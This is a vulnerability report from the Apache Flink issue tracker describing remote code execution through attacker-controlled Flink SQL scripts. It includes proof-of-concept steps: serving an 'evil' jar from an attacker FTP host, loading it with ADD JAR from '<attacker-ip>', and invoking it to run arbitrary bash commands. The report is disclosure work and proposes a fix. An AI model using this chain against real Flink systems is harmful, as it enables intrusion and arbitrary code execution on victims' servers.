gaoyu shi created FLINK-32221: --------------------------------- Summary: Attacker can achieve Remote Code Execution when they can control Flink SQL script content Key: FLINK-32221 URL: https://issues.apache.org/jira/browse/FLINK-32221 Project: Flink Issue Type: Bug Environment: all version that support SQL Script. Reporter: gaoyu shi Attachments: image-2023-05-31-14-58-21-800.png, image-2023-05-31-14-59-50-875.png
Flink SQL script has similiar syntax with tradition SQL, which means it also suffer SQL injection vulnerbility. Attacker can achieve Remote Code Execution when they can control part of whole of the Flink SQL script content by following steps. 1. attacker develop an evil custom Scalar Function class and package it into jar. !image-2023-05-31-14-59-50-875.png|width=721,height=251! 2. run a ftp server on attacker host, and put the evil jar in it. {code:java} // install python-ftp-server tool pip install python-ftp-server // run ftp server python3 -m python_ftp_server -d . --ip <public interface ip> -p password // copy evil jar to current directory cp <evil.jar-path> .{code} 3. Input the Flink SQL script to trigger code execution, which assumes that the attacker can control part or whole of the Flink SQL script through SQL injection or other method. {code:java} // transfer the evil jar from attacker host to victim ADD JAR 'ftp://user:password@<attacker-ip>:60000/evil.jar'; // register the evil function into the SQL context CREATE FUNCTION EVIL AS 'org.example.Evil'; // run any bash command SELECT EVIL('<bash command>'); {code} In summary, this vulnerbility allows attacker get remote code execution through Flink SQL script. After looking at several websites that use flink, it is very common to concat user input into Flink SQL statements, or even directly allow users to enter arbitrary Flink SQL scripts to process data. I allow that it is not a vulnerability to execute malicious code through Flink's web interface to submit a malicious jar package, because developers will hide Flink's web interface by default, such as only listening to localhost. However, malicious code execution through Flink SQL scripts is completely different. Currently, there is no hardening method or default configuration that can prevent attackers from using Flink SQL to achieve arbitrary code execution. Suggestion: 'ADD JAR' command should not be able to load remote jar, or it should be disable by default at least. -- This message was sent by Atlassian Jira (v8.20.10#820010)